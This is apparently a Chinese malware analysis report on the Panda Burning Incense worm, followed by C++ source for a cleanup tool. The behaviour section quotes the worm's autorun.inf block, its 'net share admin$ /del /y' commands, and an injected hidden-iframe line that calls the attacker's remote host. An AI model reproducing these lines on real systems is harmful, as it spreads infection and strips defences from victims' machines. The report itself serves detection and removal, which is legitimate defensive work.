样本信息
病毒名称:512301C535C88255C9A252FDF70B7A03
所属家族:蠕虫
MD5值:512301C535C88255C9A252FDF70B7A03
SHA1值:CA3A1070CFF311C0BA40AB60A8FE3266CFEFE870
CRC32:E334747C
病毒行为:
将自身拷贝到C:\Windows\System32\drivers\spo0lsv.exe,然后结束自身
运行拷贝后的程序,并将其设置注册表启动项。
运行过程中,遍历C盘下所有文件夹,除了windows文件夹下的。
将所有exe,scr,pif,com,htm,html,asp,php,jsp,aspx修改为熊猫烧香病毒文件。
每个文件夹下面还会写入一个Desktop_.ini文件,内容为当天日期。
遍历系统所有进程,发现运行了指定的程序,会将其结束。
枚举了所有窗口,发现有关键字符的标题,发送WM_QUIT消息将其退出进程
使用按键组合让窗口不可正常显示
连接了可疑的网站,读取远程的Text文件,通过URL下载指定的病毒文件并运行
测试环境及工具
测试环境为虚拟机win7专业版
所使用到的工具:火绒剑,Pchunter,od,ida,彗星小助手
主要行为
定时创建线程,将病毒程序写入注册表作为启动项,检测并关闭指定的服务项
设置开机启动项。
关闭指定服务
盘符目录下生成autorun.inf,setup.exe并隐藏。设置自动播放文件配置,打开盘符再次感染。
[AutoRun]
OPEN=setup.exe
shellexecute=setup.exe
shell\Auto\command=setup.exe
运行期间会检测系统所有进程,发现指定的进程会将其关闭
创建线程枚举桌面所有窗口,检查指定特征库内的窗口标题,如果发现窗口打开了,会发送消息将其关闭
部分特征库文本
部分窗口无法关闭,使用按键消息,使其不能正常显示窗口
创建时钟访问指定网页: http://www.ac86.cn/66/up.txt
下载远程的text文件内的病毒文件,然后运行
创建线程执行了以下cmd命令,实现关闭共享
cmd.exe /c net share $ /del /y
cmd.exe /c net share admin$ /del /y
发现后缀名为GHO的文件会将其删除
发现指定的后缀名文件,会感染其文件
期间会判断某些特定的文件名,跳过感染操作
感染行为,将可执行的源文件读入内存,拷贝自身覆盖原有文件,然后在病毒文件末尾追加原有文件,WhBoy.exe + 原有文件尺寸。
Html,asp网页代码类文件感染,会在其最后嵌入其他代码。
src="http://www.ac86.cn/66/index.htm" width="0" height="0">恶意程序对用户造成的危害
对用户C盘目录下指定格式文件进行感染,修改原有的文件为病毒文件,
将源文件追加到病毒文件末尾,并增加随机文本标识。
每个盘符生成autorun.inf,setup.exe并隐藏。
每次打开盘符就会执行病毒程序,再次感染。
删除所有GHO备份文件
占用系统大量资源,不停遍历文件,连接网络,读取下载远程木马文件并运行
加固后的恶意代码
病毒文件进行了加壳,使用FSG2.0压缩壳
提取病毒的特征,利用杀毒软件查杀
可以通过查找utf8字符串:
WhBoy,xBoy,spo0lsv.exe等字符串进行查杀
通过二进制特征查杀:
75C26A0068C0CE4000E86F7DFFFF
jnz X0040CE1B ; 0040CE1B
push 0x0 ; /ShowState = SW_HIDE
push 0x40CEC0 ; |CmdLine = “cmd.exe /c net share admin$ /del /y”
call 00404BD4 ; \WinExec
手工查杀步骤或是工具查杀步骤或是查杀思路等
编写工具,删除所有盘符下的autorun.inf,setup.exe,终止进程spo0lsv.exe,
删除C:\Windows\System32\drivers\spo0lsv.exe文件。
删除启动项
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\svcshare
还原注册表项
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue值修改为1
遍历所有可执行文件,读取被感染的文件,文件尾部记录源文件的尺寸,然后从1F000开始读取源文件数据,写出到文件,恢复原来的文件。
遍历所以网页代码有关文件,读取被感染文件,去除尾部嵌入的代码,还原原本的代码文件
C++查杀工具部分源码
DWORD GetProcessPid(CStringA nProcessName)
{
PROCESSENTRY32 nPT;
nPT.dwSize = sizeof(nPT);
HANDLE nSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
BOOL nRet = Process32First(nSnapShot, &nPT);
while (nRet)
{
if (nProcessName == CStringA(nPT.szExeFile))
{
return nPT.th32ProcessID;
}
nRet = Process32Next(nSnapShot, &nPT);
}
return 0;
}
vector<CStringA> GetDriverList()
{
vector<CStringA>nDiverList;
TCHAR nDrive[MAX_PATH];
GetLogicalDriveStrings(100, (LPWSTR)nDrive);
TCHAR* pName = nDrive;
while (*pName != 0) {
nDiverList.push_back(pName);
pName += _tcslen(pName) + 1;
}
return nDiverList;
}
void KillVir(CStringA nFilePath, CStringA nFileName)
{
int nVirType = 0;
CStringA nLastName;
nLastName = PathFindExtensionA(nFileName);
nLastName.MakeUpper();
if (nLastName == ".EXE" || nLastName == ".SCR" || nLastName == ".PIF" || nLastName == ".COM")
nVirType = 1;
else if (nLastName == ".HTML" || nLastName == ".HTM" || nLastName == ".ASP" || nLastName == ".ASPX" || nLastName == ".JSP" || nLastName == ".PHP")
nVirType = 2;
else return;
//exe,scr,pif,com,htm,html,asp,php,jsp,aspx
FILE *pFile = nullptr;
char *nBuff = nullptr;
int nFileSize = 0;
fopen_s(&pFile, nFilePath, "rb");
fseek(pFile, 0, SEEK_END);
nFileSize = ftell(pFile);
rewind(pFile);
nBuff = new char[nFileSize] {};
fread(nBuff, nFileSize, 1, pFile);
fclose(pFile);
int i = 0;
if (nVirType == 1)
{
for (i = 0; i < 13; i++)
{
if (*(nBuff + nFileSize - 13 + i) == (char)0x02)break;
}
if (i == 13)
{
//printf("未感染文件!%s\n", nFilePath);
delete[]nBuff;
return;
}
if (*(nBuff + nFileSize - 1) != (char)0x01)
{
printf("未感染文件!%s\n", nFilePath);
delete[]nBuff;
return;
}
char nTemp[13]{};
int nExeSize = 0;
memcpy_s(nTemp, 13, nBuff + nFileSize - 13 + i + 1, 13 - i - 2);
sscanf_s(nTemp, "%d", &nExeSize);
if (nExeSize <= 0)
{
delete[]nBuff;
return;
}
printf("感染文件类型:%s,尺寸:%d\n", nLastName, nExeSize);
char *NewFile = new char[nExeSize] {};
memcpy_s(NewFile, nExeSize, nBuff + 0x1f000, nExeSize);
if (!DeleteFileA(nFilePath))
{
printf("修复%s失败!%s\n", nLastName, nFilePath);
delete[]NewFile;
delete[]nBuff;
return;
}
fopen_s(&pFile, nFilePath, "wb");
fwrite(NewFile, nExeSize, 1, pFile);
fclose(pFile);
delete[]NewFile;
printf("修复%s成功!%s\n", nLastName, nFilePath);
}
else
{
CStringA nFileCode(nBuff);
if (nFileCode.Find("www.ac86.cn/66/index.htm") != -1)
{
int nHtmlSize = nFileSize - 76;
char *NewFile = new char[nHtmlSize] {};
memcpy_s(NewFile, nHtmlSize, nBuff , nHtmlSize);
fopen_s(&pFile, nFilePath, "wb");
fwrite(NewFile, nHtmlSize, 1, pFile);
fclose(pFile);
delete[]NewFile;
printf("修复%s成功!%s\n", nLastName, nFilePath);
}
}
delete[]nBuff;
nBuff = nullptr;
}
void FindFile(CStringA nDir)
{
WIN32_FIND_DATAA nFileData = { 0 };
HANDLE hFind = INVALID_HANDLE_VALUE;
hFind = FindFirstFileA(nDir + L"\\*", &nFileData);
if (hFind == INVALID_HANDLE_VALUE ) return;
do {
if (CStringA(nFileData.cFileName) == "." || CStringA(nFileData.cFileName) == "..")
{
FILE *pFile = nullptr;
fopen_s(&pFile, nDir + "\\Desktop_.ini", "rb");
if (pFile == nullptr)
{
continue;
}
fclose(pFile);
if (SetFileAttributesA(nDir + "\\Desktop_.ini", FILE_ATTRIBUTE_NORMAL))
{
DeleteFileA(nDir + "\\Desktop_.ini");
printf("删除文件成功:%s\n", nDir + "\\Desktop_.ini");
}
else
printf("删除文件失败:%s\n", nDir + "\\Desktop_.ini");
continue;
}
if (nFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
FindFile(nDir + "\\" + nFileData.cFileName);
else
{
KillVir(nDir + "\\" + nFileData.cFileName, nFileData.cFileName);
}
} while (FindNextFileA(hFind, &nFileData));
}
int main()
{
TerminateProcess(OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetProcessPid("spo0lsv.exe")), 0);
SetFileAttributesA("C:\\Windows\\System32\\drivers\\spo0lsv.exe", FILE_ATTRIBUTE_NORMAL);
DeleteFileA("C:\\Windows\\System32\\drivers\\spo0lsv.exe");
//HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\svcshare
HKEY hKey = NULL;
int nError = RegOpenKeyA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", &hKey);
if (nError != ERROR_SUCCESS) MessageBoxA(NULL, "打开注册表失败1", "提示", MB_ICONWARNING);
RegDeleteValueA(hKey, "svcshare");
RegCloseKey(hKey);
//HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\\CheckedValue
nError = RegOpenKeyA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL\\", &hKey);
if (nError != ERROR_SUCCESS) MessageBoxA(NULL, "打开注册表失败2", "提示", MB_ICONWARNING);
DWORD nVal = 1;
RegSetValueExA(hKey, "CheckedValue", 0, REG_DWORD, (CONST BYTE*)&nVal, sizeof(DWORD));
RegCloseKey(hKey);
vector<CStringA>nDiverList;
nDiverList = GetDriverList();
for (auto &val : nDiverList)
{
SetFileAttributesA(val + "\\autorun.inf", FILE_ATTRIBUTE_NORMAL);
DeleteFileA(val + "\\autorun.inf");
SetFileAttributesA(val + "\\setup.exe", FILE_ATTRIBUTE_NORMAL);
DeleteFileA(val + "\\setup.exe");
FindFile(val);
};
printf("处理成功!\n");
system("pause");
return 0;
}